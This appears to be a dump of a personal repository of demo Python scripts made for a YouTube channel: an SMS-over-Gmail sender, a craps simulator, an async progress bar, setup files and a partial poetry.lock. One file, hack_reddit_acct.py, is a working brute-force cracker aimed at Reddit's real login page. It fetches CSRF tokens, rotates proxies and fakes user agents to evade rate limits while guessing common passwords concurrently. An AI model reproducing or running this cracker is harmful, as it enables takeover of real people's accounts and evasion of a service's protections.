├── .envrc ├── .gitignore ├── README.md ├── _email └── send_txt_msg.py ├── games └── craps_simulator.py ├── hacking └── hack_reddit_acct.py ├── pbar └── async_ordered_progress_bar.py ├── poetry.lock └── pyproject.toml /.envrc: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # setup 3 | # 08-16-2020 17:20:33 EDT 4 | # (c) 2020 acamso 5 | 6 | # https://direnv.net 7 | # https://github.com/direnv/direnv/wiki/Python 8 | 9 | if [[ -f pyproject.toml ]] && [[ -d ".venv" ]] && [[ ! $POETRY_ACTIVE ]]; then 10 | # export VIRTUAL_ENV=$(poetry env info --path) 11 | export VIRTUAL_ENV=".venv" # quicker 12 | export POETRY_ACTIVE=1 13 | 14 | PATH_add "$VIRTUAL_ENV/bin" 15 | dotenv 16 | 17 | # proj 18 | export PROJ_DIR=$PWD 19 | export PROJ_NAME=$(basename $PROJ_DIR) 20 | 21 | # pkg 22 | export PKG_NAME=$PROJ_NAME 23 | export PKG_DIR=$PROJ_DIR/$PKG_NAME 24 | 25 | # proj dirs 26 | export DEBUG_DIR=$PROJ_DIR/debug 27 | export DOCS_DIR=$PROJ_DIR/docs 28 | export FILES_DIR=$PROJ_DIR/files 29 | export LOGS_DIR=$PROJ_DIR/logs 30 | export TESTS_DIR=$PROJ_DIR/tests 31 | 32 | # proj dirs aliases 33 | export DEBUG=$DEBUG_DIR 34 | export DOCS=$DOCS_DIR 35 | export FILES=$FILES_DIR 36 | export LOGS=$LOGS_DIR 37 | export TESTS=$TESTS_DIR 38 | 39 | # pkg dirs 40 | export CFG_DIR=$PKG_DIR/config 41 | export EXTRA_DIR=$PKG_DIR/extra 42 | 43 | # pkg dirs aliases 44 | export CFG=$CFG_DIR 45 | export EXTRA=$EXTRA_DIR 46 | 47 | # cfg dirs 48 | export CFG_PROJ_DIR=$CFG_DIR/proj 49 | export CFG_CLI=$CFG_PROJ_DIR/cli.py 50 | export CFG_LOG=$CFG_PROJ_DIR/log.py 51 | 52 | clear 53 | fi 54 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.bak 2 | *.egg-info 3 | .done.list 4 | .env 5 | .mongorc.js 6 | .venv 7 | Session.vim 8 | checklist.md 9 | debug 10 | extra 11 | logs 12 | pytest.ini 13 | todo.list 14 | import.css 15 | root.css 16 | scratch.* 17 | delete.* 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # demos 2 | > Demonstrative scripts 3 | 4 | This repository hosts demonstrative scripts written for my [YouTube channel](https://www.youtube.com/c/acamso). 5 | 6 | ## Installation 7 | Requires [Poetry](https://github.com/python-poetry/poetry) 8 | 9 | ```poetry install``` 10 | -------------------------------------------------------------------------------- /_email/send_txt_msg.py: -------------------------------------------------------------------------------- 1 | # *- coding: utf-8 -*- 2 | # send_txt_msg.py 3 | # 04-02-2021 03:08:34 EDT 4 | # (c) 2021 acamso 5 | 6 | """Sends TXT message with GMail. 7 | 8 | This is a demonstration on how to send an text message with Python. 9 | In this example, we use GMail to send the SMS message, 10 | but any host can work with the correct SMTP settings. 11 | Each carrier has a unique SMS gateway hostname. 12 | This method is completely free and can be useful in a variety of ways. 13 | 14 | Video: https://youtu.be/hKxtMaa2hwQ 15 | Turn on: https://myaccount.google.com/lesssecureapps 16 | """ 17 | 18 | import asyncio 19 | import re 20 | from email.message import EmailMessage 21 | from typing import Collection, List, Tuple, Union 22 | 23 | import aiosmtplib 24 | 25 | HOST = "smtp.gmail.com" 26 | # https://kb.sandisk.com/app/answers/detail/a_id/17056/~/list-of-mobile-carrier-gateway-addresses 27 | # https://www.gmass.co/blog/send-text-from-gmail/ 28 | CARRIER_MAP = { 29 | "verizon": "vtext.com", 30 | "tmobile": "tmomail.net", 31 | "sprint": "messaging.sprintpcs.com", 32 | "at&t": "txt.att.net", 33 | "boost": "smsmyboostmobile.com", 34 | "cricket": "sms.cricketwireless.net", 35 | "uscellular": "email.uscc.net", 36 | } 37 | 38 | 39 | # pylint: disable=too-many-arguments 40 | async def send_txt( 41 | num: Union[str, int], carrier: str, email: str, pword: str, msg: str, subj: str 42 | ) -> Tuple[dict, str]: 43 | to_email = CARRIER_MAP[carrier] 44 | 45 | # build message 46 | message = EmailMessage() 47 | message["From"] = email 48 | message["To"] = f"{num}@{to_email}" 49 | message["Subject"] = subj 50 | message.set_content(msg) 51 | 52 | # send 53 | send_kws = dict(username=email, password=pword, hostname=HOST, port=587, start_tls=True) 54 | res = await aiosmtplib.send(message, **send_kws) # type: ignore 55 | msg = "failed" if not re.search(r"\sOK\s", res[1]) else "succeeded" 56 | print(msg) 57 | return res 58 | 59 | 60 | async def send_txts( 61 | nums: Collection[Union[str, int]], carrier: str, email: str, pword: str, msg: str, subj: str 62 | ) -> List[Tuple[dict, str]]: 63 | tasks = [send_txt(n, carrier, email, pword, msg, subj) for n in set(nums)] 64 | return await asyncio.gather(*tasks) 65 | 66 | 67 | if __name__ == "__main__": 68 | _num = "999999999" 69 | _carrier = "verizon" 70 | _email = "user@gmail.com" 71 | _pword = "pword" 72 | _msg = "Dummy msg" 73 | _subj = "Dummy subj" 74 | coro = send_txt(_num, _carrier, _email, _pword, _msg, _subj) 75 | # _nums = {"999999999", "000000000"} 76 | # coro = send_txts(_nums, _carrier, _email, _pword, _msg, _subj) 77 | asyncio.run(coro) 78 | -------------------------------------------------------------------------------- /games/craps_simulator.py: -------------------------------------------------------------------------------- 1 | # *- coding: utf-8 -*- 2 | # craps_simulator.py 3 | # 08-23-2021 21:18:06 EDT 4 | # (c) 2021 acamso 5 | 6 | """Craps simulator. 7 | 8 | This is a demonstration on how to build a craps simulator with Python. 9 | 10 | Video #1 - Rolling The Dice: https://youtu.be/I80qwc7vLFs 11 | Craps: https://en.wikipedia.org/wiki/Craps 12 | """ 13 | 14 | from __future__ import annotations 15 | 16 | import itertools 17 | import random 18 | from collections import Counter 19 | from typing import List, Optional, Tuple 20 | 21 | 22 | class Player: 23 | def __init__(self, num: int) -> None: 24 | self.num: int = num 25 | 26 | @staticmethod 27 | def roll(dice: List[Die]) -> int: 28 | """Rolls the dice and returns a number between 2-12.""" 29 | return sum(die.roll() for die in dice) 30 | 31 | 32 | class Die: 33 | def __init__(self) -> None: 34 | self.num: Optional[int] = None 35 | 36 | def roll(self) -> int: 37 | """Rolls the dice and returns a number between 1-6.""" 38 | self.num = random.randint(1, 6) 39 | return self.num 40 | 41 | 42 | def simulate(num_players: int, num_rolls: int) -> List[Tuple[int, int]]: 43 | """Simulates a complete game of Craps.""" 44 | 45 | # create players 46 | players = [Player(num=num + 1) for num in range(num_players)] 47 | _players = itertools.cycle(players) 48 | 49 | # create dice 50 | dice = [Die(), Die()] 51 | 52 | # roll dice 53 | results = [] 54 | for _ in range(num_rolls): 55 | player = next(_players) 56 | res = player.roll(dice) 57 | results.append(res) 58 | print(f"Player #{player.num} rolled a {res}") 59 | 60 | # test 61 | counter = Counter(results).items() # dict_items([(5, 11132), (6, 13797)] 62 | sorted_counter = sorted(counter, key=lambda x: x[1], reverse=True) # [(7, 16631), (6, 13797)] 63 | test_dice_result_probability(sorted_counter) 64 | 65 | return sorted_counter 66 | 67 | 68 | def test_dice_result_probability(sorted_counter: List[Tuple[int, int]]) -> None: 69 | """Tests the accuracy of dice result probability.""" 70 | most_common = [x[0] for x in sorted_counter] # [7, 8, 6, 9, 5, 10, 4, 3, 11, 12, 2] 71 | assert most_common[0] == 7 72 | assert most_common[1] in (6, 8) 73 | assert most_common[2] in (6, 8) 74 | assert most_common[3] in (5, 9) 75 | assert most_common[4] in (5, 9) 76 | assert most_common[5] in (4, 10) 77 | assert most_common[6] in (4, 10) 78 | assert most_common[7] in (3, 11) 79 | assert most_common[8] in (3, 11) 80 | assert most_common[9] in (2, 12) 81 | assert most_common[10] in (2, 12) 82 | 83 | 84 | if __name__ == "__main__": 85 | 86 | # cli will go here 87 | _num_players = 1 88 | _num_rolls = 100000 89 | 90 | # simulate 91 | print(simulate(_num_players, _num_rolls)) 92 | -------------------------------------------------------------------------------- /hacking/hack_reddit_acct.py: -------------------------------------------------------------------------------- 1 | # *- coding: utf-8 -*- 2 | # hack_reddit_acct.py 3 | # 03-31-2021 06:52:45 EDT 4 | # (c) 2021 acamso 5 | 6 | """Example of a Reddit account cracker. 7 | 8 | This is a demonstration of how one would go about hacking an account with password authentication via 9 | brute force (password cracking). For this example, a new Reddit account is created with a common password. 10 | This is simply for educational purposes. 11 | 12 | Video: https://youtu.be/O0DkieZjClI 13 | """ 14 | 15 | import asyncio 16 | import random 17 | from typing import List, Optional 18 | 19 | import aiohttp 20 | import lxml.html 21 | import user_agents 22 | from faker import Faker 23 | 24 | faker = Faker() 25 | 26 | # constants 27 | URL = "https://www.reddit.com/login" 28 | TIMEOUT = 10 29 | USER = "a_username" 30 | PWORDS = { # can come from file 31 | "123456", 32 | "123456789", 33 | "picture1", 34 | "password", 35 | "12345678", 36 | "111111", 37 | "123123", 38 | "12345", 39 | "1234567890", 40 | } 41 | HEADERS = { 42 | "Accept": "*/*", 43 | "Accept-Language": "en-US,en;q=0.5", 44 | "Connection": "keep-alive", 45 | "Content-Type": "application/x-www-form-urlencoded", 46 | "Origin": "https://www.reddit.com", 47 | "Referer": "https://www.reddit.com/login/", 48 | } 49 | DATA = { 50 | "otp": "", 51 | "dest": "https://www.reddit.com", 52 | "username": USER, 53 | } 54 | PROXY_FILE = "/home/user/proxies.txt" 55 | with open(PROXY_FILE) as f: 56 | PROXIES = ["http://" + p for p in f.read().splitlines()] 57 | 58 | 59 | def ua() -> str: 60 | """Returns random Chrome user-agent string.""" 61 | 62 | while True: 63 | _ua = faker.chrome(85, 87) 64 | parse = user_agents.parse(_ua) 65 | if parse.is_mobile or parse.is_tablet: 66 | continue 67 | return _ua 68 | 69 | 70 | async def _get_csrf(ses: aiohttp.ClientSession, proxy: str) -> Optional[str]: 71 | """Retrieves CSRF token.""" 72 | 73 | async with ses.get(URL, proxy=proxy) as resp: 74 | if not resp.ok: 75 | return None 76 | content = await resp.read() 77 | 78 | tree = lxml.html.fromstring(content) 79 | els = tree.xpath("//input[@name='csrf_token']") 80 | if not els: 81 | return None 82 | return els[0].value 83 | 84 | 85 | async def req(pword: str) -> Optional[str]: 86 | """Attempts to log into account with provided password.""" 87 | print(f"Trying {pword} for {USER}") 88 | 89 | while True: 90 | 91 | proxy = random.choice(PROXIES) 92 | headers, data = HEADERS.copy(), DATA.copy() 93 | headers["User-Agent"] = ua() 94 | data["password"] = pword 95 | 96 | async with aiohttp.ClientSession(headers=headers) as ses: 97 | try: 98 | csrf = await _get_csrf(ses, proxy) 99 | if not csrf: 100 | continue 101 | data["csrf_token"] = csrf 102 | async with ses.post(URL, data=data, proxy=proxy, timeout=TIMEOUT) as resp: 103 | # 429 status would require delay 104 | if resp.status not in (200, 400): 105 | continue 106 | if resp.status == 400: 107 | return None 108 | print(f"{pword} succeeded for {USER}") 109 | return pword 110 | except: # pylint: disable=bare-except 111 | # request-related exceptions 112 | pass 113 | 114 | 115 | async def run() -> List[Optional[str]]: 116 | tasks = [req(pword) for pword in PWORDS] 117 | return await asyncio.gather(*tasks) 118 | 119 | 120 | if __name__ == "__main__": 121 | res = asyncio.run(run()) 122 | correct_pword = next((x for x in res if x), None) 123 | msg = "No password succeeded." if not correct_pword else f"The password is {correct_pword}" 124 | print(msg) 125 | -------------------------------------------------------------------------------- /pbar/async_ordered_progress_bar.py: -------------------------------------------------------------------------------- 1 | # *- coding: utf-8 -*- 2 | # async_ordered_progress_bar.py 3 | # 04-06-2021 16:03:16 EDT 4 | # (c) 2021 acamso 5 | 6 | """Async ordered progress bar. 7 | 8 | This is a demonstration on how to implement an async, ordered progress bar with TQDM + asyncio. 9 | "asyncio.as_completed" is needed to run async tasks with TQDM , which results in an unordered result. 10 | If you're looking for an ordered result, you simply need to wrap each task in a coroutine with the 11 | corresponding index and sort the result. 12 | 13 | Video: https://youtu.be/oJC7RcjbEPc 14 | """ 15 | 16 | import asyncio 17 | from typing import Any, Coroutine, Iterable, List, Tuple 18 | 19 | from tqdm import tqdm 20 | 21 | 22 | async def aprogress(tasks: Iterable[Coroutine], **pbar_kws: Any) -> List[Any]: 23 | """Runs async tasks with a progress bar and returns an ordered result.""" 24 | 25 | if not tasks: 26 | return [] 27 | 28 | async def tup(idx: int, task: Coroutine) -> Tuple[int, Any]: 29 | """Returns the index and result of a task.""" 30 | return idx, await task 31 | 32 | _tasks = [tup(i, t) for i, t in enumerate(tasks)] 33 | pbar = tqdm(asyncio.as_completed(_tasks), total=len(_tasks), **pbar_kws) 34 | res = [await t for t in pbar] 35 | return [r[1] for r in sorted(res, key=lambda r: r[0])] 36 | 37 | 38 | if __name__ == "__main__": 39 | 40 | import random 41 | 42 | async def test(idx: int) -> Tuple[int, int]: 43 | sleep = random.randint(0, 5) 44 | await asyncio.sleep(sleep) 45 | return idx, sleep 46 | 47 | _tasks = [test(i) for i in range(10)] 48 | _res = asyncio.run(aprogress(_tasks, desc="pbar test")) 49 | print(_res) 50 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "aiohttp" 3 | version = "3.7.4.post0" 4 | description = "Async http client/server framework (asyncio)" 5 | category = "main" 6 | optional = false 7 | python-versions = ">=3.6" 8 | 9 | [package.dependencies] 10 | async-timeout = ">=3.0,<4.0" 11 | attrs = ">=17.3.0" 12 | chardet = ">=2.0,<5.0" 13 | multidict = ">=4.5,<7.0" 14 | typing-extensions = ">=3.6.5" 15 | yarl = ">=1.0,<2.0" 16 | 17 | [package.extras] 18 | speedups = ["aiodns", "brotlipy", "cchardet"] 19 | 20 | [[package]] 21 | name = "aiosmtplib" 22 | version = "1.1.6" 23 | description = "asyncio SMTP client" 24 | category = "main" 25 | optional = false 26 | python-versions = ">=3.5.2,<4.0.0" 27 | 28 | [package.extras] 29 | uvloop = ["uvloop (>=0.13,<0.15)"] 30 | docs = ["sphinx (>=2,<4)", "sphinx_autodoc_typehints (>=1.7.0,<2.0.0)"] 31 | 32 | [[package]] 33 | name = "appdirs" 34 | version = "1.4.4" 35 | description = "A small Python module for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." 36 | category = "dev" 37 | optional = false 38 | python-versions = "*" 39 | 40 | [[package]] 41 | name = "appnope" 42 | version = "0.1.2" 43 | description = "Disable App Nap on macOS >= 10.9" 44 | category = "dev" 45 | optional = false 46 | python-versions = "*" 47 | 48 | [[package]] 49 | name = "astroid" 50 | version = "2.6.6" 51 | description = "An abstract syntax tree for Python with inference support." 52 | category = "dev" 53 | optional = false 54 | python-versions = "~=3.6" 55 | 56 | [package.dependencies] 57 | lazy-object-proxy = ">=1.4.0" 58 | wrapt = ">=1.11,<1.13" 59 | 60 | [[package]] 61 | name = "async-timeout" 62 | version = "3.0.1" 63 | description = "Timeout context manager for asyncio programs" 64 | category = "main" 65 | optional = false 66 | python-versions = ">=3.5.3" 67 | 68 | [[package]] 69 | name = "atomicwrites" 70 | version = "1.4.0" 71 | description = "Atomic file writes." 72 | category = "dev" 73 | optional = false 74 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 75 | 76 | [[package]] 77 | name = "attrs" 78 | version = "21.2.0" 79 | description = "Classes Without Boilerplate" 80 | category = "main" 81 | optional = false 82 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 83 | 84 | [package.extras] 85 | dev = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "furo", "sphinx", "sphinx-notfound-page", "pre-commit"] 86 | docs = ["furo", "sphinx", "zope.interface", "sphinx-notfound-page"] 87 | tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface"] 88 | tests_no_zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins"] 89 | 90 | [[package]] 91 | name = "autoflake" 92 | version = "1.4" 93 | description = "Removes unused imports and unused variables" 94 | category = "dev" 95 | optional = false 96 | python-versions = "*" 97 | 98 | [package.dependencies] 99 | pyflakes = ">=1.1.0" 100 | 101 | [[package]] 102 | name = "backcall" 103 | version = "0.2.0" 104 | description = "Specifications for callback functions passed in to an API" 105 | category = "dev" 106 | optional = false 107 | python-versions = "*" 108 | 109 | [[package]] 110 | name = "black" 111 | version = "19.10b0" 112 | description = "The uncompromising code formatter." 113 | category = "dev" 114 | optional = false 115 | python-versions = ">=3.6" 116 | 117 | [package.dependencies] 118 | appdirs = "*" 119 | attrs = ">=18.1.0" 120 | click = ">=6.5" 121 | pathspec = ">=0.6,<1" 122 | regex = "*" 123 | toml = ">=0.9.4" 124 | typed-ast = ">=1.4.0" 125 | 126 | [package.extras] 127 | d = ["aiohttp (>=3.3.2)", "aiohttp-cors"] 128 | 129 | [[package]] 130 | name = "chardet" 131 | version = "4.0.0" 132 | description = "Universal encoding detector for Python 2 and 3" 133 | category = "main" 134 | optional = false 135 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 136 | 137 | [[package]] 138 | name = "click" 139 | version = "8.0.1" 140 | description = "Composable command line interface toolkit" 141 | category = "dev" 142 | optional = false 143 | python-versions = ">=3.6" 144 | 145 | [package.dependencies] 146 | colorama = {version = "*", markers = "platform_system == \"Windows\""} 147 | 148 | [[package]] 149 | name = "colorama" 150 | version = "0.4.4" 151 | description = "Cross-platform colored terminal text." 152 | category = "main" 153 | optional = false 154 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 155 | 156 | [[package]] 157 | name = "decorator" 158 | version = "5.0.9" 159 | description = "Decorators for Humans" 160 | category = "dev" 161 | optional = false 162 | python-versions = ">=3.5" 163 | 164 | [[package]] 165 | name = "docformatter" 166 | version = "1.4" 167 | description = "Formats docstrings to follow PEP 257." 168 | category = "dev" 169 | optional = false 170 | python-versions = "*" 171 | 172 | [package.dependencies] 173 | untokenize = "*" 174 | 175 | [[package]] 176 | name = "faker" 177 | version = "7.0.1" 178 | description = "Faker is a Python package that generates fake data for you." 179 | category = "main" 180 | optional = false 181 | python-versions = ">=3.6" 182 | 183 | [package.dependencies] 184 | python-dateutil = ">=2.4" 185 | text-unidecode = "1.3" 186 | 187 | [[package]] 188 | name = "flake8" 189 | version = "3.9.2" 190 | description = "the modular source code checker: pep8 pyflakes and co" 191 | category = "dev" 192 | optional = false 193 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" 194 | 195 | [package.dependencies] 196 | mccabe = ">=0.6.0,<0.7.0" 197 | pycodestyle = ">=2.7.0,<2.8.0" 198 | pyflakes = ">=2.3.0,<2.4.0" 199 | 200 | [[package]] 201 | name = "flake8-polyfill" 202 | version = "1.0.2" 203 | description = "Polyfill package for Flake8 plugins" 204 | category = "dev" 205 | optional = false 206 | python-versions = "*" 207 | 208 | [package.dependencies] 209 | flake8 = "*" 210 | 211 | [[package]] 212 | name = "future" 213 | version = "0.18.2" 214 | description = "Clean single-source support for Python 3 and 2" 215 | category = "dev" 216 | optional = false 217 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 218 | 219 | [[package]] 220 | name = "greenlet" 221 | version = "1.1.1" 222 | description = "Lightweight in-process concurrent programming" 223 | category = "dev" 224 | optional = false 225 | python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*" 226 | 227 | [package.extras] 228 | docs = ["sphinx"] 229 | 230 | [[package]] 231 | name = "guppy3" 232 | version = "3.1.1" 233 | description = "Guppy 3 -- Guppy-PE ported to Python 3" 234 | category = "dev" 235 | optional = false 236 | python-versions = ">=3.6" 237 | 238 | [[package]] 239 | name = "idna" 240 | version = "3.2" 241 | description = "Internationalized Domain Names in Applications (IDNA)" 242 | category = "main" 243 | optional = false 244 | python-versions = ">=3.5" 245 | 246 | [[package]] 247 | name = "iniconfig" 248 | version = "1.1.1" 249 | description = "iniconfig: brain-dead simple config-ini parsing" 250 | category = "dev" 251 | optional = false 252 | python-versions = "*" 253 | 254 | [[package]] 255 | name = "ipython" 256 | version = "7.26.0" 257 | description = "IPython: Productive Interactive Computing" 258 | category = "dev" 259 | optional = false 260 | python-versions = ">=3.7" 261 | 262 | [package.dependencies] 263 | appnope = {version = "*", markers = "sys_platform == \"darwin\""} 264 | backcall = "*" 265 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 266 | decorator = "*" 267 | jedi = ">=0.16" 268 | matplotlib-inline = "*" 269 | pexpect = {version = ">4.3", markers = "sys_platform != \"win32\""} 270 | pickleshare = "*" 271 | prompt-toolkit = ">=2.0.0,<3.0.0 || >3.0.0,<3.0.1 || >3.0.1,<3.1.0" 272 | pygments = "*" 273 | traitlets = ">=4.2" 274 | 275 | [package.extras] 276 | all = ["Sphinx (>=1.3)", "ipykernel", "ipyparallel", "ipywidgets", "nbconvert", "nbformat", "nose (>=0.10.1)", "notebook", "numpy (>=1.17)", "pygments", "qtconsole", "requests", "testpath"] 277 | doc = ["Sphinx (>=1.3)"] 278 | kernel = ["ipykernel"] 279 | nbconvert = ["nbconvert"] 280 | nbformat = ["nbformat"] 281 | notebook = ["notebook", "ipywidgets"] 282 | parallel = ["ipyparallel"] 283 | qtconsole = ["qtconsole"] 284 | test = ["nose (>=0.10.1)", "requests", "testpath", "pygments", "nbformat", "ipykernel", "numpy (>=1.17)"] 285 | 286 | [[package]] 287 | name = "ipython-genutils" 288 | version = "0.2.0" 289 | description = "Vestigial utilities from IPython" 290 | category = "dev" 291 | optional = false 292 | python-versions = "*" 293 | 294 | [[package]] 295 | name = "isort" 296 | version = "5.9.3" 297 | description = "A Python utility / library to sort Python imports." 298 | category = "dev" 299 | optional = false 300 | python-versions = ">=3.6.1,<4.0" 301 | 302 | [package.extras] 303 | pipfile_deprecated_finder = ["pipreqs", "requirementslib"] 304 | requirements_deprecated_finder = ["pipreqs", "pip-api"] 305 | colors = ["colorama (>=0.4.3,<0.5.0)"] 306 | plugins = ["setuptools"] 307 | 308 | [[package]] 309 | name = "jedi" 310 | version = "0.17.2" 311 | description = "An autocompletion tool for Python that can be used for text editors." 312 | category = "dev" 313 | optional = false 314 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 315 | 316 | [package.dependencies] 317 | parso = ">=0.7.0,<0.8.0" 318 | 319 | [package.extras] 320 | qa = ["flake8 (==3.7.9)"] 321 | testing = ["Django (<3.1)", "colorama", "docopt", "pytest (>=3.9.0,<5.0.0)"] 322 | 323 | [[package]] 324 | name = "lazy-object-proxy" 325 | version = "1.6.0" 326 | description = "A fast and thorough lazy object proxy." 327 | category = "dev" 328 | optional = false 329 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" 330 | 331 | [[package]] 332 | name = "line-profiler" 333 | version = "3.3.0" 334 | description = "Line-by-line profiler." 335 | category = "dev" 336 | optional = false 337 | python-versions = "*" 338 | 339 | [package.dependencies] 340 | IPython = {version = ">=0.13", markers = "python_version >= \"3.7\""} 341 | 342 | [package.extras] 343 | all = ["cython", "cmake", "coverage[toml] (>=5.3)", "ninja", "pytest-cov (>=2.10.1)", "pytest (>=4.6.11)", "scikit-build", "ubelt (>=0.8.7)", "IPython (>=0.13,<7.17.0)", "IPython (>=0.13)"] 344 | build = ["cython", "cmake", "ninja", "scikit-build"] 345 | tests = ["coverage[toml] (>=5.3)", "pytest-cov (>=2.10.1)", "pytest (>=4.6.11)", "ubelt (>=0.8.7)"] 346 | 347 | [[package]] 348 | name = "lxml" 349 | version = "4.6.3" 350 | description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." 351 | category = "main" 352 | optional = false 353 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" 354 | 355 | [package.extras] 356 | cssselect = ["cssselect (>=0.7)"] 357 | html5 = ["html5lib"] 358 | htmlsoup = ["beautifulsoup4"] 359 | source = ["Cython (>=0.29.7)"] 360 | 361 | [[package]] 362 | name = "mando" 363 | version = "0.6.4" 364 | description = "Create Python CLI apps with little to no effort at all!" 365 | category = "dev" 366 | optional = false 367 | python-versions = "*" 368 | 369 | [package.dependencies] 370 | six = "*" 371 | 372 | [package.extras] 373 | restructuredText = ["rst2ansi"] 374 | 375 | [[package]] 376 | name = "matplotlib-inline" 377 | version = "0.1.2" 378 | description = "Inline Matplotlib backend for Jupyter" 379 | category = "dev" 380 | optional = false 381 | python-versions = ">=3.5" 382 | 383 | [package.dependencies] 384 | traitlets = "*" 385 | 386 | [[package]] 387 | name = "mccabe" 388 | version = "0.6.1" 389 | description = "McCabe checker, plugin for flake8" 390 | category = "dev" 391 | optional = false 392 | python-versions = "*" 393 | 394 | [[package]] 395 | name = "memory-profiler" 396 | version = "0.58.0" 397 | description = "A module for monitoring memory usage of a python program" 398 | category = "dev" 399 | optional = false 400 | python-versions = ">=3.4" 401 | 402 | [package.dependencies] 403 | psutil = "*" 404 | 405 | [[package]] 406 | name = "msgpack" 407 | version = "1.0.2" 408 | description = "MessagePack (de)serializer." 409 | category = "dev" 410 | optional = false 411 | python-versions = "*" 412 | 413 | [[package]] 414 | name = "multidict" 415 | version = "5.1.0" 416 | description = "multidict implementation" 417 | category = "main" 418 | optional = false 419 | python-versions = ">=3.6" 420 | 421 | [[package]] 422 | name = "mypy" 423 | version = "0.790" 424 | description = "Optional static typing for Python" 425 | category = "dev" 426 | optional = false 427 | python-versions = ">=3.5" 428 | 429 | [package.dependencies] 430 | mypy-extensions = ">=0.4.3,<0.5.0" 431 | typed-ast = ">=1.4.0,<1.5.0" 432 | typing-extensions = ">=3.7.4" 433 | 434 | [package.extras] 435 | dmypy = ["psutil (>=4.0)"] 436 | 437 | [[package]] 438 | name = "mypy-extensions" 439 | version = "0.4.3" 440 | description = "Experimental type system extensions for programs checked with the mypy typechecker." 441 | category = "dev" 442 | optional = false 443 | python-versions = "*" 444 | 445 | [[package]] 446 | name = "packaging" 447 | version = "21.0" 448 | description = "Core utilities for Python packages" 449 | category = "dev" 450 | optional = false 451 | python-versions = ">=3.6" 452 | 453 | [package.dependencies] 454 | pyparsing = ">=2.0.2" 455 | 456 | [[package]] 457 | name = "parso" 458 | version = "0.7.1" 459 | description = "A Python Parser" 460 | category = "dev" 461 | optional = false 462 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 463 | 464 | [package.extras] 465 | testing = ["docopt", "pytest (>=3.0.7)"] 466 | 467 | [[package]] 468 | name = "pathspec" 469 | version = "0.9.0" 470 | description = "Utility library for gitignore style pattern matching of file paths." 471 | category = "dev" 472 | optional = false 473 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" 474 | 475 | [[package]] 476 | name = "pexpect" 477 | version = "4.8.0" 478 | description = "Pexpect allows easy control of interactive console applications." 479 | category = "dev" 480 | optional = false 481 | python-versions = "*" 482 | 483 | [package.dependencies] 484 | ptyprocess = ">=0.5" 485 | 486 | [[package]] 487 | name = "pickleshare" 488 | version = "0.7.5" 489 | description = "Tiny 'shelve'-like database with concurrency support" 490 | category = "dev" 491 | optional = false 492 | python-versions = "*" 493 | 494 | [[package]] 495 | name = "pluggy" 496 | version = "0.13.1" 497 | description = "plugin and hook calling mechanisms for python" 498 | category = "dev" 499 | optional = false 500 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 501 | 502 | [package.extras] 503 | dev = ["pre-commit", "tox"] 504 | 505 | [[package]] 506 | name = "prompt-toolkit" 507 | version = "3.0.20" 508 | description = "Library for building powerful interactive command lines in Python" 509 | category = "dev" 510 | optional = false 511 | python-versions = ">=3.6.2" 512 | 513 | [package.dependencies] 514 | wcwidth = "*" 515 | 516 | [[package]] 517 | name = "psutil" 518 | version = "5.8.0" 519 | description = "Cross-platform lib for process and system monitoring in Python." 520 | category = "dev" 521 | optional = false 522 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 523 | 524 | [package.extras] 525 | test = ["ipaddress", "mock", "unittest2", "enum34", "pywin32", "wmi"] 526 | 527 | [[package]] 528 | name = "ptyprocess" 529 | version = "0.7.0" 530 | description = "Run a subprocess in a pseudo terminal" 531 | category = "dev" 532 | optional = false 533 | python-versions = "*" 534 | 535 | [[package]] 536 | name = "py" 537 | version = "1.10.0" 538 | description = "library with cross-python path, ini-parsing, io, code, log facilities" 539 | category = "dev" 540 | optional = false 541 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 542 | 543 | [[package]] 544 | name = "pycodestyle" 545 | version = "2.7.0" 546 | description = "Python style guide checker" 547 | category = "dev" 548 | optional = false 549 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 550 | 551 | [[package]] 552 | name = "pydocstyle" 553 | version = "5.1.1" 554 | description = "Python docstring style checker" 555 | category = "dev" 556 | optional = false 557 | python-versions = ">=3.5" 558 | 559 | [package.dependencies] 560 | snowballstemmer = "*" 561 | 562 | [[package]] 563 | name = "pyflakes" 564 | version = "2.3.1" 565 | description = "passive checker of Python programs" 566 | category = "dev" 567 | optional = false 568 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 569 | 570 | [[package]] 571 | name = 